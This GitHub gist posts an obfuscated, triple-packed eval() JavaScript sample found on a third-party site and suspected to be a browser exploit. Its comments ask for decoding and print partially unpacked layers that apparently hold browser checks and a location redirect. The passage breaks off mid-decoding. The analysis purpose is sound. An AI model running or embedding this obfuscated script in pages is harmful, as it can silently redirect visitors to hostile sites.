Skip to content

Instantly share code, notes, and snippets.

@jcubic
Created July 28, 2012 20:55
Show Gist options
  • Save jcubic/3194755 to your computer and use it in GitHub Desktop.
Save jcubic/3194755 to your computer and use it in GitHub Desktop.
Javascript obfuscation challange
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1Q(1m(1m("1Q(3B(p%3k%3g%1u%3c%3b)%39%1J(c)%1k(c%35%2V\'\'%2U(2T(c%2P)))%1h((c%2L%2K)%2J%2I.2H(c%2G)%2F.2E(36))%S%2D(!\'\'.1w(%1y%2C%1y%2A))%2y(c--)r%1F(c)%Q%2x%1c%Q%W%2v(c)%2t%2s%2r(e)%1k%2p%1F%Q%S%Q%2n%1J()%1k\'%1b%2j%1h\'%S%2i%2g%S%2f(c--)2e(k%1c%Q)p%2d.1w(2c%2b(\'%1b%1x\'%2a(c)%1h\'%1b%1x\'%19\'g\')%1u%1c%Q)%29%28%S(\'1L(13(13(13(%27%24%1l%23%f%J%u%l%A%2%7%0%22%0%n%0%w%0%1p%0%y%0%x%7%4%7%0%1t%0%w%0%16%0%n%0%21%0%20%0%1j%7%4%7%0%x%0%m%0%n%0%1j%7%4%7%0%y%0%M%0%8%j%0%M%0%11%0%n%0%m%0%1Z%0%1E%0%N%0%n%7%4%7%0%O%0%N%0%n%0%m%0%8%F%0%1p%0%n%0%w%0%y%7%4%7%0%x%0%y%0%y%0%s%0%8%z%0%10%0%10%0%T%0%14%0%1O%0%Y%0%14%0%1Y%0%Y%0%14%0%1X%0%14%0%Y%0%14%0%1W%0%1O%0%10%0%48%0%T%7%4%7%0%x%0%y%0%y%0%s%7%4%7%0%1U%0%m%0%1E%0%11%7%4%7%0%8%G%0%M%0%y%7%4%7%0%N%0%O%0%m%0%1j%7%4%7%0%N%0%s%0%1t%0%16%7%4%7%0%y%0%11%0%n%0%n%0%y%7%3%o%J%u%i%A%2%l%2%v%3%4%l%2%8%3%4%l%2%F%3%4%l%2%j%3%4%l%2%z%3%4%l%2%G%3%4%l%2%h%3%4%l%2%t%3%4%l%2%12%3%4%l%2%Z%3%4%l%2%8%v%3%4%l%2%8%8%3%3%o%J%u%9%A%2%i%2%v%3%4%i%2%8%3%4%i%2%F%3%4%i%2%j%3%4%i%2%z%3%4%i%2%G%3%4%i%2%h%3%4%i%2%t%3%4%i%2%12%3%4%i%2%Z%3%4%i%2%8%v%3%4%i%2%8%8%3%3%o%15%u%1D%D%q%4%V%4%L%E%P%5%D%q%2%9%2%v%3%3%1s%L%E%P%R%u%1q%U%o%2h%D%J%u%K%A%v%o%K%1s%V%2%9%2%v%3%3%o%K%1a%1a%E%P%5%D%q%2%9%2%8%3%3%D%V%2%K%3%E%2k%A%2l%8%E%P%R%u%1q%U%U%o%R%u%2m%U%o%15%u%1R%D%q%4%V%E%P%5%D%V%E%P%2o%2%9%2%F%3%3%A%q%U%U%o%J%u%C%A%2q%2%9%2%z%3%3%2%9%2%j%3%3%D%E%o%J%u%1P%A%9%2%G%3%o%J%u%1N%A%2%9%2%h%3%4%9%2%t%3%4%9%2%12%3%4%9%2%Z%3%4%9%2%8%v%3%4%9%2%8%8%3%3%o%J%u%1M%A%2u%o%1R%D%1P%4%1D%D%C%4%1N%4%1M%E%E%o%f%B%f%1%f%B%f%Y%10%m%n%C%f%B%f%1%1%1%1%1%1%1%1%1%1%1%1%1%1%18%v%5%Z%j%K%j%1%18%v%5%t%G%h%K%1%18%v%5%8%z%L%K%1%5%t%z%1%5%h%G%1%11%q%w%1%5%j%8%1%5%t%F%1%5%t%j%1%5%h%12%1%5%t%v%1%5%F%T%1%5%h%h%1%5%h%16%1%5%F%16%1%1%5%h%T%1%5%t%t%1%w%9%C%M%w%x%1%n%i%1%5%h%Z%1%5%j%h%1%i%M%x%L%C%n%s%x%1%q%m%m%s%R%1%5%t%G%1%5%h%8%1%5%h%z%1%5%j%F%1%i%q%m%Y%9%1%5%h%t%1%m%s%L%q%C%9%1%M%w%m%1%x%s%C%15%m%m%s%R%1%N%n%x%1%5%z%T%1%5%z%j%1%5%h%O%1%F%G%1%5%t%12%1%5%j%t%1%5%j%v%1%i%s%w%1%5%j%G%1%C%w%M%9%1%5%j%T%1%m%s%L%q%C%n%s%x%1%5%h%j%1%x%q%11%n%l%q%C%s%w%1%1%1%5%z%8%1%5%z%O%1%5%j%15%1%5%h%F%f%B%f%f%B%f%i%w%s%N%O%y%q%w%O%s%K%9%f%B%f%w%9%10%m%q%L%9%f%B%f%0%R%1a%f%B%f%0%V%f%B%f%l%f%6%2z%1A%1l%2B%1z%6%H%1r%6%H%1o%6%H%1n%6%H%1e%6%H%1S%6%H%1f%6%H%1K%6%H%1g%6%H%1H%6%6%2M(1I(b%2N%2O%1G%2Q%2R)%2S%1C(a)%1i(a%2W%2X%1e%6%2Y(1V(a%2Z)))%30((a%31%32)%33%34%17%1S%6%6(a%37)%38.25(26))%I%3a(!X%1e%6%17%1f%6%6(%1v%3d%1v%3e))%3f(d--)%3h%3i(d)%6%3j%1d%6%3l%3m(d)%I%3n%1l%3o(a)%1i%3p%3q%6%I%6%3r%1C()%1i%1A%1K%6%I%3s%3t%I%3u(d--)%3v(e%1d%6)%3w%3x%17%1f%6%6(2w%3y(X%1g%6%3z(d)%3A%1g%6%1B%1H%6)%1G%1d%6)%I%I%3C%3D%I(X%1z%6%3E%3F%1B%1n%6%17%1o%6%6(X%1r%6)%3G%B%3H%I))%3I%3J))))%3K\'%3L%3M%19\'3N%3O%3P%3Q%3R%3S%3T%3U%3V%3W%W%W%3X%W%W%3Y%3Z%40%41%42%43%44%45%46%47%1T%49%4a%4b%4c%4d%4e%4f%4g%4h%4i%4j%4k%4l%4m%4n%4o%4p%4q%4r%4s%4t%4u%4v%4w%4x%4y%4z%4A%4B%4C%4D%4E%4F%4G%4H%4I%4J%4K%4L%4M%4N%4O%4P%4Q%4R%4S%4T%4U%4V%4W%4X%4Y%4Z%50%51%52%53%54%55%56%57%58%59%5a%5b%5c%5d%5e%5f%5g%5h%5i%5j%5k%5l%5m%5n%5o%5p%5q%5r%5s%5t%5u%5v%5w%5x%5y%5z%5A%5B%5C%5D%5E%5F%5G%5H%5I%5J%5K%5L%5M%5N%5O%5P%5Q%5R%5S%5T%5U%5V%5W%5X%5Y%5Z%60%61%62%63%64%65%66%67%68%69%6a%6b%6c%6d%6e%6f%6g%6h%6i%6j%6k%6l%6m%6n%6o%6p%6q\'.6r(\'%W\')%6s%19%6t%S))")));',62,402,'25250|25251|25253|25252|25254|25255|25256|25257|25259|25258||||||2525c||2525f|2525g|2525h||2525k|2525i|2525j|2525m||2525o||2525l|2525n|2525r|2525p|2525q|2525t|2525s|2525u|2525z|2525x|2525w|2525v|2525y|2525A|2525B|2525C|2525D|2525F|2525E|2525G|2525H|2525M|2525O|2525N|255D|2525I|257D|2525K|2525J|2525L|257C||2525R|2525P|2525S|2525U|2525T||2525Q|2525W|2525Y|2525V|252517|252C|252518|255C|255Bc|2525Z|252510|252511|252512|252B|252514|252516|257Breturn|252515|unescape|25251f|25251e|25251v|25251s|25251d|25251q|25251u|252Ck|25251t|replace|255Cb|252F|25251b|25251a|25251r|25251n|252519|25251c|255Be|25251m|25251l||253Dfunction|25251j||25251p|25251o|25251i|25251k|eval|25251g|25251h|257C25255Cx30|25251C||25251x|25252e|252529|25251Q|25251R|25251P|252527|252522|25251G|||25221E|2520p|253Breturn|252Be|2520RegExp|new|253Dp|if|253Bwhile|253D1|25252A|253Bc|255Cw|25251z|25251A|25251B|253Be|25251D|2520r|25251F|255Bfunction|253D|253Bk|25251w|257Ce||253Dk|257Bwhile|25252a|252CString|25252i|255E|253Bif|toString|253Ac|252B29|fromCharCode|253FString|253E35|2525a|253Dc|25251H|25251J|25251K|252Fa|25251M|25251N|25251O|parseInt|253Ae|253F|25251S|25251T|25251U|25251W|25251X|25251Y|25251Z|252520|252521|253Ca||252523|252524|257Be|252528|252Cr|252Ce|25252b|25252c|25252d|252Cc|25252f|25252g|25252h|252Ca|25252j|25252k|25252l|25252m|25252n|25252o|25252p|25252q|25252r|25252s|25252t|25252u|25252v|25252x|25252y|25252z|function|25252B|25252C|25252D|25252E|25252F|25252G|25252H|2522|253B|252C62|252C168|25255Cx5C|257C25255Cx7C|257C25255Cx5D|257C25255Cx5B|257C25255Cx2C|257C25255Cx78|257C25255D|257C25255Cx22|257C25255Cx65|257C25255Cx31|257C252522|257C25255Cx36|257C25255Cx66|257C25255Cx33|257C25255Cx6C|257C25255Cx69|257C25255Cx67|257C25255Cx6F|257C25255Cx3B|257C25255Cx37|257C25255Cx61|25251y|257C25255Cx72|257C25255Cx20|257C25255Cx68|257C25255Cx6E|257C25255Cx34|257C25255Cx28|257C25255Cx74|257C25252C|257C25255Cx29|257C25255Cx3D|257C25255Cx32|257C25255Cx35|257C25252C_0x3ac2|257C25257D|257C25255Cx64|257C25255Cx6A|257C25255Cx63|257C25255Cx75|257C25255Cx77|257C25255Cx7D|257C25255Cx46|257C25255Cx62|257C25255Cx6D|257C25255Cx7B|257C25255Cx43|257C25255Cx39|257C25255Cx6B|257C25255Cx73|257C25255Cx70|257C25255Cx38|257C25255Cx76|257C25255B_0xf615|257C25255Cx41|257C_0xf615|257C25255Cx45|257C25255Bd|257C25255B4|257C25255B6|257C25255B8|257Cunescape|257C25257Breturn|257C25253D|257C25255Cx71|257C25255Cx5F|257C25255Cx2B|257C25255Cx42|257C252520_0xf615|257C25255B0|257C25255Cx44|257C25255B1|257C25255B2|257C25255B3|257C25255Cx49|257C25255B5|257C25255Cx7A|257C25255B7|257C25255Cx4A|257C25255B9|257C25252Ce|257C25253Dfunction|257C25255Cx4B|257C25255Cx4C|257C25255Cx3C|257C25252C_0xf615|257C25255Cx47|257C25252F|257C25255Cx79|257C25255Cx48|257C25255Cx50|257C25255Cx55|257C25255Cx57|257C25255Cx21|257C25255Cx2D|257C25255Cx56|257C25255Cx59|257C25255Cx58|257Cvar|257C25255Cx5A|257C252520_0x3ac2|257C25253Beval|257Cfunction|257C25252Cc|257C25252Cd|257Ceval|257C25252Cf|257C25252Cg|257C25257Bf|257C25255Cx51|257C25255Cx4E|257C25255Cx4D|257C25253Cc|257C25253F_0xf615|257C25253Af|257CparseInt|257C25252Fc|257C25252B|257C25253Da|257C252525c|257C25253E35|257C25253FString|257C25255B|257C25252B29|257C25253Aa|257CtoString|257C36|257C25255Cx4F|257C25253Bif|257C25255Cx52|257C25253Bvar|257C25255E|257C25252CString|257C25257Bwhile|257C25255Cx53|257C25257Bg|257C25255Bf|257C25253De|257C25255B_0x3ac2|257C25257C|257C25257Cf|257C25253Be|257C25255Bfunction|257C252520g|257C25255Ba|257C25253Bf|257C25253Bd|257C25253D1|257C25253Bwhile|257C25257Bif|257C25257Bb|257C25253Db|257Cnew|257C252520RegExp|257C25252Bf|257C25252B_0xf615|257C25255Cx54|257C25253Breturn|257C252520b|257C25252C62|257C25252C68|257C25252C0|257C25257B|257C25253B|split|252C0|257B'.split('|'),0,{}))
@jcubic
Copy link
Author

jcubic commented Jul 28, 2012

This is the code most likely some exploit probably for IE. Can you decode this? create gits and put link in the comment. Founded it here http://arven992.narod2.ru/ someone tweet it to me: https://twitter.com/Carlhsmith/status/228878933125373953

@jcubic
Copy link
Author

jcubic commented Aug 30, 2012

Why I don't seen this before, just dean edwords packer applyied 3 times:

eval(unescape(unescape(unescape("var%252520_0x3ac2%25253D%25255B%252522%25255Cx6A%25255Cx20%25255Cx67%25255Cx3D%25255Cx5B%25255Cx22%25255Cx5C%25255Cx4F%25255Cx5C%25255Cx69%25255Cx5C%25255Cx72%25255Cx5C%25255Cx48%25255Cx5C%25255Cx68%25255Cx5C%25255Cx6E%25255Cx22%25255Cx2C%25255Cx22%25255Cx5C%25255Cx79%25255Cx5C%25255Cx72%25255Cx5C%25255Cx45%25255Cx5C%25255Cx69%25255Cx5C%25255Cx51%25255Cx5C%25255Cx4D%25255Cx5C%25255Cx71%25255Cx22%25255Cx2C%25255Cx22%25255Cx5C%25255Cx6E%25255Cx5C%25255Cx6C%25255Cx5C%25255Cx69%25255Cx5C%25255Cx71%25255Cx22%25255Cx2C%25255Cx22%25255Cx5C%25255Cx68%25255Cx5C%25255Cx75%25255Cx5C%25255Cx31%25255Cx33%25255Cx5C%25255Cx75%25255Cx5C%25255Cx76%25255Cx5C%25255Cx69%25255Cx5C%25255Cx6C%25255Cx5C%25255Cx4E%25255Cx5C%25255Cx44%25255Cx5C%25255Cx6D%25255Cx5C%25255Cx69%25255Cx22%25255Cx2C%25255Cx22%25255Cx5C%25255Cx43%25255Cx5C%25255Cx6D%25255Cx5C%25255Cx69%25255Cx5C%25255Cx6C%25255Cx5C%25255Cx31%25255Cx32%25255Cx5C%25255Cx48%25255Cx5C%25255Cx69%25255Cx5C%25255Cx72%25255Cx5C%25255Cx68%25255Cx22%25255Cx2C%25255Cx22%25255Cx5C%25255Cx6E%25255Cx5C%25255Cx68%25255Cx5C%25255Cx68%25255Cx5C%25255Cx6F%25255Cx5C%25255Cx31%25255Cx34%25255Cx5C%25255Cx70%25255Cx5C%25255Cx70%25255Cx5C%25255Cx46%25255Cx5C%25255Cx6B%25255Cx5C%25255Cx7A%25255Cx5C%25255Cx73%25255Cx5C%25255Cx6B%25255Cx5C%25255Cx52%25255Cx5C%25255Cx73%25255Cx5C%25255Cx6B%25255Cx5C%25255Cx53%25255Cx5C%25255Cx6B%25255Cx5C%25255Cx73%25255Cx5C%25255Cx6B%25255Cx5C%25255Cx55%25255Cx5C%25255Cx7A%25255Cx5C%25255Cx70%25255Cx5C%25255Cx57%25255Cx5C%25255Cx46%25255Cx22%25255Cx2C%25255Cx22%25255Cx5C%25255Cx6E%25255Cx5C%25255Cx68%25255Cx5C%25255Cx68%25255Cx5C%25255Cx6F%25255Cx22%25255Cx2C%25255Cx22%25255Cx5C%25255Cx59%25255Cx5C%25255Cx6C%25255Cx5C%25255Cx44%25255Cx5C%25255Cx76%25255Cx22%25255Cx2C%25255Cx22%25255Cx5C%25255Cx31%25255Cx35%25255Cx5C%25255Cx75%25255Cx5C%25255Cx68%25255Cx22%25255Cx2C%25255Cx22%25255Cx5C%25255Cx6D%25255Cx5C%25255Cx43%25255Cx5C%25255Cx6C%25255Cx5C%25255Cx71%25255Cx22%25255Cx2C%25255Cx22%25255Cx5C%25255Cx6D%25255Cx5C%25255Cx6F%25255Cx5C%25255Cx79%25255Cx5C%25255Cx45%25255Cx22%25255Cx2C%25255Cx22%25255Cx5C%25255Cx68%25255Cx5C%25255Cx76%25255Cx5C%25255Cx69%25255Cx5C%25255Cx69%25255Cx5C%25255Cx68%25255Cx22%25255Cx5D%25255Cx3B%25255Cx6A%25255Cx20%25255Cx66%25255Cx3D%25255Cx5B%25255Cx67%25255Cx5B%25255Cx30%25255Cx5D%25255Cx2C%25255Cx67%25255Cx5B%25255Cx31%25255Cx5D%25255Cx2C%25255Cx67%25255Cx5B%25255Cx32%25255Cx5D%25255Cx2C%25255Cx67%25255Cx5B%25255Cx33%25255Cx5D%25255Cx2C%25255Cx67%25255Cx5B%25255Cx34%25255Cx5D%25255Cx2C%25255Cx67%25255Cx5B%25255Cx35%25255Cx5D%25255Cx2C%25255Cx67%25255Cx5B%25255Cx36%25255Cx5D%25255Cx2C%25255Cx67%25255Cx5B%25255Cx37%25255Cx5D%25255Cx2C%25255Cx67%25255Cx5B%25255Cx38%25255Cx5D%25255Cx2C%25255Cx67%25255Cx5B%25255Cx39%25255Cx5D%25255Cx2C%25255Cx67%25255Cx5B%25255Cx31%25255Cx30%25255Cx5D%25255Cx2C%25255Cx67%25255Cx5B%25255Cx31%25255Cx31%25255Cx5D%25255Cx5D%25255Cx3B%25255Cx6A%25255Cx20%25255Cx65%25255Cx3D%25255Cx5B%25255Cx66%25255Cx5B%25255Cx30%25255Cx5D%25255Cx2C%25255Cx66%25255Cx5B%25255Cx31%25255Cx5D%25255Cx2C%25255Cx66%25255Cx5B%25255Cx32%25255Cx5D%25255Cx2C%25255Cx66%25255Cx5B%25255Cx33%25255Cx5D%25255Cx2C%25255Cx66%25255Cx5B%25255Cx34%25255Cx5D%25255Cx2C%25255Cx66%25255Cx5B%25255Cx35%25255Cx5D%25255Cx2C%25255Cx66%25255Cx5B%25255Cx36%25255Cx5D%25255Cx2C%25255Cx66%25255Cx5B%25255Cx37%25255Cx5D%25255Cx2C%25255Cx66%25255Cx5B%25255Cx38%25255Cx5D%25255Cx2C%25255Cx66%25255Cx5B%25255Cx39%25255Cx5D%25255Cx2C%25255Cx66%25255Cx5B%25255Cx31%25255Cx30%25255Cx5D%25255Cx2C%25255Cx66%25255Cx5B%25255Cx31%25255Cx31%25255Cx5D%25255Cx5D%25255Cx3B%25255Cx41%25255Cx20%25255Cx42%25255Cx28%25255Cx61%25255Cx2C%25255Cx62%25255Cx2C%25255Cx63%25255Cx29%25255Cx7B%25255Cx78%25255Cx28%25255Cx61%25255Cx5B%25255Cx65%25255Cx5B%25255Cx30%25255Cx5D%25255Cx5D%25255Cx3C%25255Cx63%25255Cx29%25255Cx7B%25255Cx77%25255Cx20%25255Cx47%25255Cx7D%25255Cx3B%25255Cx54%25255Cx28%25255Cx6A%25255Cx20%25255Cx64%25255Cx3D%25255Cx30%25255Cx3B%25255Cx64%25255Cx3C%25255Cx62%25255Cx5B%25255Cx65%25255Cx5B%25255Cx30%25255Cx5D%25255Cx5D%25255Cx3B%25255Cx64%25255Cx2B%25255Cx2B%25255Cx29%25255Cx7B%25255Cx78%25255Cx28%25255Cx61%25255Cx5B%25255Cx65%25255Cx5B%25255Cx31%25255Cx5D%25255Cx5D%25255Cx28%25255Cx62%25255Cx5B%25255Cx64%25255Cx5D%25255Cx29%25255Cx21%25255Cx3D%25255Cx2D%25255Cx31%25255Cx29%25255Cx7B%25255Cx77%25255Cx20%25255Cx47%25255Cx7D%25255Cx7D%25255Cx3B%25255Cx77%25255Cx20%25255Cx56%25255Cx7D%25255Cx3B%25255Cx41%25255Cx20%25255Cx49%25255Cx28%25255Cx61%25255Cx2C%25255Cx62%25255Cx29%25255Cx7B%25255Cx78%25255Cx28%25255Cx62%25255Cx29%25255Cx7B%25255Cx58%25255Cx5B%25255Cx65%25255Cx5B%25255Cx32%25255Cx5D%25255Cx5D%25255Cx3D%25255Cx61%25255Cx7D%25255Cx7D%25255Cx3B%25255Cx6A%25255Cx20%25255Cx74%25255Cx3D%25255Cx5A%25255Cx5B%25255Cx65%25255Cx5B%25255Cx34%25255Cx5D%25255Cx5D%25255Cx5B%25255Cx65%25255Cx5B%25255Cx33%25255Cx5D%25255Cx5D%25255Cx28%25255Cx29%25255Cx3B%25255Cx6A%25255Cx20%25255Cx4A%25255Cx3D%25255Cx65%25255Cx5B%25255Cx35%25255Cx5D%25255Cx3B%25255Cx6A%25255Cx20%25255Cx4B%25255Cx3D%25255Cx5B%25255Cx65%25255Cx5B%25255Cx36%25255Cx5D%25255Cx2C%25255Cx65%25255Cx5B%25255Cx37%25255Cx5D%25255Cx2C%25255Cx65%25255Cx5B%25255Cx38%25255Cx5D%25255Cx2C%25255Cx65%25255Cx5B%25255Cx39%25255Cx5D%25255Cx2C%25255Cx65%25255Cx5B%25255Cx31%25255Cx30%25255Cx5D%25255Cx2C%25255Cx65%25255Cx5B%25255Cx31%25255Cx31%25255Cx5D%25255Cx5D%25255Cx3B%25255Cx6A%25255Cx20%25255Cx4C%25255Cx3D%25255Cx50%25255Cx3B%25255Cx49%25255Cx28%25255Cx4A%25255Cx2C%25255Cx42%25255Cx28%25255Cx74%25255Cx2C%25255Cx4B%25255Cx2C%25255Cx4C%25255Cx29%25255Cx29%25255Cx3B%252522%25252C%252522%25255Cx7C%252522%25252C%252522%25255Cx73%25255Cx70%25255Cx6C%25255Cx69%25255Cx74%252522%25252C%252522%25255Cx7C%25255Cx7C%25255Cx7C%25255Cx7C%25255Cx7C%25255Cx7C%25255Cx7C%25255Cx7C%25255Cx7C%25255Cx7C%25255Cx7C%25255Cx7C%25255Cx7C%25255Cx7C%25255Cx5F%25255Cx30%25255Cx78%25255Cx39%25255Cx33%25255Cx64%25255Cx33%25255Cx7C%25255Cx5F%25255Cx30%25255Cx78%25255Cx37%25255Cx35%25255Cx36%25255Cx64%25255Cx7C%25255Cx5F%25255Cx30%25255Cx78%25255Cx31%25255Cx34%25255Cx63%25255Cx64%25255Cx7C%25255Cx78%25255Cx37%25255Cx34%25255Cx7C%25255Cx78%25255Cx36%25255Cx35%25255Cx7C%25255Cx76%25255Cx61%25255Cx72%25255Cx7C%25255Cx78%25255Cx33%25255Cx31%25255Cx7C%25255Cx78%25255Cx37%25255Cx32%25255Cx7C%25255Cx78%25255Cx37%25255Cx33%25255Cx7C%25255Cx78%25255Cx36%25255Cx38%25255Cx7C%25255Cx78%25255Cx37%25255Cx30%25255Cx7C%25255Cx78%25255Cx32%25255Cx46%25255Cx7C%25255Cx78%25255Cx36%25255Cx36%25255Cx7C%25255Cx78%25255Cx36%25255Cx45%25255Cx7C%25255Cx78%25255Cx32%25255Cx45%25255Cx7C%25255Cx7C%25255Cx78%25255Cx36%25255Cx46%25255Cx7C%25255Cx78%25255Cx37%25255Cx37%25255Cx7C%25255Cx72%25255Cx65%25255Cx74%25255Cx75%25255Cx72%25255Cx6E%25255Cx7C%25255Cx69%25255Cx66%25255Cx7C%25255Cx78%25255Cx36%25255Cx39%25255Cx7C%25255Cx78%25255Cx33%25255Cx36%25255Cx7C%25255Cx66%25255Cx75%25255Cx6E%25255Cx63%25255Cx74%25255Cx69%25255Cx6F%25255Cx6E%25255Cx7C%25255Cx61%25255Cx6C%25255Cx6C%25255Cx6F%25255Cx77%25255Cx7C%25255Cx78%25255Cx37%25255Cx35%25255Cx7C%25255Cx78%25255Cx36%25255Cx31%25255Cx7C%25255Cx78%25255Cx36%25255Cx34%25255Cx7C%25255Cx78%25255Cx33%25255Cx32%25255Cx7C%25255Cx66%25255Cx61%25255Cx6C%25255Cx73%25255Cx65%25255Cx7C%25255Cx78%25255Cx36%25255Cx37%25255Cx7C%25255Cx6C%25255Cx6F%25255Cx63%25255Cx61%25255Cx74%25255Cx65%25255Cx7C%25255Cx75%25255Cx72%25255Cx6C%25255Cx7C%25255Cx6E%25255Cx6F%25255Cx74%25255Cx41%25255Cx6C%25255Cx6C%25255Cx6F%25255Cx77%25255Cx7C%25255Cx6D%25255Cx69%25255Cx6E%25255Cx7C%25255Cx78%25255Cx34%25255Cx46%25255Cx7C%25255Cx78%25255Cx34%25255Cx33%25255Cx7C%25255Cx78%25255Cx36%25255Cx43%25255Cx7C%25255Cx32%25255Cx35%25255Cx7C%25255Cx78%25255Cx37%25255Cx38%25255Cx7C%25255Cx78%25255Cx33%25255Cx37%25255Cx7C%25255Cx78%25255Cx33%25255Cx30%25255Cx7C%25255Cx66%25255Cx6F%25255Cx72%25255Cx7C%25255Cx78%25255Cx33%25255Cx35%25255Cx7C%25255Cx74%25255Cx72%25255Cx75%25255Cx65%25255Cx7C%25255Cx78%25255Cx33%25255Cx46%25255Cx7C%25255Cx6C%25255Cx6F%25255Cx63%25255Cx61%25255Cx74%25255Cx69%25255Cx6F%25255Cx6E%25255Cx7C%25255Cx78%25255Cx36%25255Cx33%25255Cx7C%25255Cx6E%25255Cx61%25255Cx76%25255Cx69%25255Cx67%25255Cx61%25255Cx74%25255Cx6F%25255Cx72%25255Cx7C%25255Cx7C%25255Cx7C%25255Cx78%25255Cx34%25255Cx31%25255Cx7C%25255Cx78%25255Cx34%25255Cx43%25255Cx7C%25255Cx78%25255Cx33%25255Cx41%25255Cx7C%25255Cx78%25255Cx36%25255Cx32%252522%25252C%252522%252522%25252C%252522%25255Cx66%25255Cx72%25255Cx6F%25255Cx6D%25255Cx43%25255Cx68%25255Cx61%25255Cx72%25255Cx43%25255Cx6F%25255Cx64%25255Cx65%252522%25252C%252522%25255Cx72%25255Cx65%25255Cx70%25255Cx6C%25255Cx61%25255Cx63%25255Cx65%252522%25252C%252522%25255Cx5C%25255Cx77%25255Cx2B%252522%25252C%252522%25255Cx5C%25255Cx62%252522%25252C%252522%25255Cx67%252522%25255D%25253Bvar%252520_0xf615%25253D%25255B_0x3ac2%25255B0%25255D%25252C_0x3ac2%25255B1%25255D%25252C_0x3ac2%25255B2%25255D%25252C_0x3ac2%25255B3%25255D%25252C_0x3ac2%25255B4%25255D%25252C_0x3ac2%25255B5%25255D%25252C_0x3ac2%25255B6%25255D%25252C_0x3ac2%25255B7%25255D%25252C_0x3ac2%25255B8%25255D%25252C_0x3ac2%25255B9%25255D%25255D%25253Beval(function(b%25252Cc%25252Cd%25252Ce%25252Cf%25252Cg)%25257Bf%25253Dfunction(a)%25257Breturn(a%25253Cc%25253F_0xf615%25255B4%25255D%25253Af(parseInt(a%25252Fc)))%25252B((a%25253Da%252525c)%25253E35%25253FString%25255B_0xf615%25255B5%25255D%25255D(a%25252B29)%25253Aa.toString(36))%25257D%25253Bif(!_0xf615%25255B4%25255D%25255B_0xf615%25255B6%25255D%25255D(%25252F%25255E%25252F%25252CString))%25257Bwhile(d--)%25257Bg%25255Bf(d)%25255D%25253De%25255Bd%25255D%25257C%25257Cf(d)%25257D%25253Be%25253D%25255Bfunction(a)%25257Breturn%252520g%25255Ba%25255D%25257D%25255D%25253Bf%25253Dfunction()%25257Breturn%252520_0xf615%25255B7%25255D%25257D%25253Bd%25253D1%25257D%25253Bwhile(d--)%25257Bif(e%25255Bd%25255D)%25257Bb%25253Db%25255B_0xf615%25255B6%25255D%25255D(new%252520RegExp(_0xf615%25255B8%25255D%25252Bf(d)%25252B_0xf615%25255B8%25255D%25252C_0xf615%25255B9%25255D)%25252Ce%25255Bd%25255D)%25257D%25257D%25253Breturn%252520b%25257D(_0xf615%25255B0%25255D%25252C62%25252C68%25252C_0xf615%25255B3%25255D%25255B_0xf615%25255B2%25255D%25255D(_0xf615%25255B1%25255D)%25252C0%25252C%25257B%25257D))%25253B"))));

if you remove eval:

var _0x3ac2=["\x6A\x20\x67\x3D\x5B\x22\x5C\x4F\x5C\x69\x5C\x72\x5C\x48\x5C\x68\x5C\x6E\x22\x2C\x22\x5C\x79\x5C\x72\x5C\x45\x5C\x69\x5C\x51\x5C\x4D\x5C\x71\x22\x2C\x22\x5C\x6E\x5C\x6C\x5C\x69\x5C\x71\x22\x2C\x22\x5C\x68\x5C\x75\x5C\x31\x33\x5C\x75\x5C\x76\x5C\x69\x5C\x6C\x5C\x4E\x5C\x44\x5C\x6D\x5C\x69\x22\x2C\x22\x5C\x43\x5C\x6D\x5C\x69\x5C\x6C\x5C\x31\x32\x5C\x48\x5C\x69\x5C\x72\x5C\x68\x22\x2C\x22\x5C\x6E\x5C\x68\x5C\x68\x5C\x6F\x5C\x31\x34\x5C\x70\x5C\x70\x5C\x46\x5C\x6B\x5C\x7A\x5C\x73\x5C\x6B\x5C\x52\x5C\x73\x5C\x6B\x5C\x53\x5C\x6B\x5C\x73\x5C\x6B\x5C\x55\x5C\x7A\x5C\x70\x5C\x57\x5C\x46\x22\x2C\x22\x5C\x6E\x5C\x68\x5C\x68\x5C\x6F\x22\x2C\x22\x5C\x59\x5C\x6C\x5C\x44\x5C\x76\x22\x2C\x22\x5C\x31\x35\x5C\x75\x5C\x68\x22\x2C\x22\x5C\x6D\x5C\x43\x5C\x6C\x5C\x71\x22\x2C\x22\x5C\x6D\x5C\x6F\x5C\x79\x5C\x45\x22\x2C\x22\x5C\x68\x5C\x76\x5C\x69\x5C\x69\x5C\x68\x22\x5D\x3B\x6A\x20\x66\x3D\x5B\x67\x5B\x30\x5D\x2C\x67\x5B\x31\x5D\x2C\x67\x5B\x32\x5D\x2C\x67\x5B\x33\x5D\x2C\x67\x5B\x34\x5D\x2C\x67\x5B\x35\x5D\x2C\x67\x5B\x36\x5D\x2C\x67\x5B\x37\x5D\x2C\x67\x5B\x38\x5D\x2C\x67\x5B\x39\x5D\x2C\x67\x5B\x31\x30\x5D\x2C\x67\x5B\x31\x31\x5D\x5D\x3B\x6A\x20\x65\x3D\x5B\x66\x5B\x30\x5D\x2C\x66\x5B\x31\x5D\x2C\x66\x5B\x32\x5D\x2C\x66\x5B\x33\x5D\x2C\x66\x5B\x34\x5D\x2C\x66\x5B\x35\x5D\x2C\x66\x5B\x36\x5D\x2C\x66\x5B\x37\x5D\x2C\x66\x5B\x38\x5D\x2C\x66\x5B\x39\x5D\x2C\x66\x5B\x31\x30\x5D\x2C\x66\x5B\x31\x31\x5D\x5D\x3B\x41\x20\x42\x28\x61\x2C\x62\x2C\x63\x29\x7B\x78\x28\x61\x5B\x65\x5B\x30\x5D\x5D\x3C\x63\x29\x7B\x77\x20\x47\x7D\x3B\x54\x28\x6A\x20\x64\x3D\x30\x3B\x64\x3C\x62\x5B\x65\x5B\x30\x5D\x5D\x3B\x64\x2B\x2B\x29\x7B\x78\x28\x61\x5B\x65\x5B\x31\x5D\x5D\x28\x62\x5B\x64\x5D\x29\x21\x3D\x2D\x31\x29\x7B\x77\x20\x47\x7D\x7D\x3B\x77\x20\x56\x7D\x3B\x41\x20\x49\x28\x61\x2C\x62\x29\x7B\x78\x28\x62\x29\x7B\x58\x5B\x65\x5B\x32\x5D\x5D\x3D\x61\x7D\x7D\x3B\x6A\x20\x74\x3D\x5A\x5B\x65\x5B\x34\x5D\x5D\x5B\x65\x5B\x33\x5D\x5D\x28\x29\x3B\x6A\x20\x4A\x3D\x65\x5B\x35\x5D\x